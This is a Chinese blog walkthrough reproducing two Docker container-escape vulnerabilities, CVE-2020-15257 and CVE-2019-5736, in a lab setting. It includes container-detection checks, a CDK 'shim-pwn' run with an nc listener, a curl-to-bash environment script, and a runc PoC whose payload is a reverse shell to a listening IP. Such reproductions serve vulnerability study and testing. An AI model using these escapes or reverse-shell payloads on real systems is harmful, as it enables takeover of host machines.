docker逃逸漏洞复现

如何判断是否在docker工作环境下

  1. docker环境下:ls -alh /.dockerenv , 非docker环境,没有这个.dockerenv文件的(定制化比较高的docker系统也可能没有这个文件)

    在这里插入图片描述

  2. 查询系统进程的cgroup信息 cat /proc/1/cgroup

    在这里插入图片描述

CVE-2020-15257 容器逃逸漏洞利用

CVE-2020-15257的利用条件——net namespace(–net=host)与宿主机共享

以以下命令运行容器

docker run --rm --net=host -it b7278c37e6e7 /bin/bash

通过wget下载exp

wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
tar -zxvf cdk_v0.1.6_release.tar.gz

在容器内执行 cat /proc/net/unix|grep -a "containerd-shim" 可看到抽象命名空间Unix域套接字,或者执行netstat -xl |grep shim

vps监听端口

nc -lvp 1111

执行exp

./cdk_linux_amd64 run shim-pwn 127.0.0.1 1111

vps收到shell

CVE-2019-5736

引用链接:https://www.cnblogs.com/xiaozi/p/13377619.html

需要宿主机docker exec重新进入容器才可以触发漏洞

漏洞简述:

攻击者可以通过特定的容器镜像或者exec操作可以获取到宿主机的runC执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。

利用条件:

Docker版本 < 18.09.2,runC版本< 1.0-rc6。(在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6。)

可通过 docker 和docker-runc 查看当前版本情况。

漏洞环境准备:

curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh
# 下载POC
git clone https://github.com/Frichetten/CVE-2019-5736-PoC

# 修改Payload
vi main.go
payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/1234 0>&1"

# 编译生成payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

编译好将main文件传入容器内授予执行权限

./main

然后宿主机进入容器

docker exec -it  cafa20cfb0f9 /bin/sh

在这里插入图片描述

vps监听收到shell 查看IP地址为宿主机

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-t868UcN2-1626771332998)(image/image-20201230111200755.png)]

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 7
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值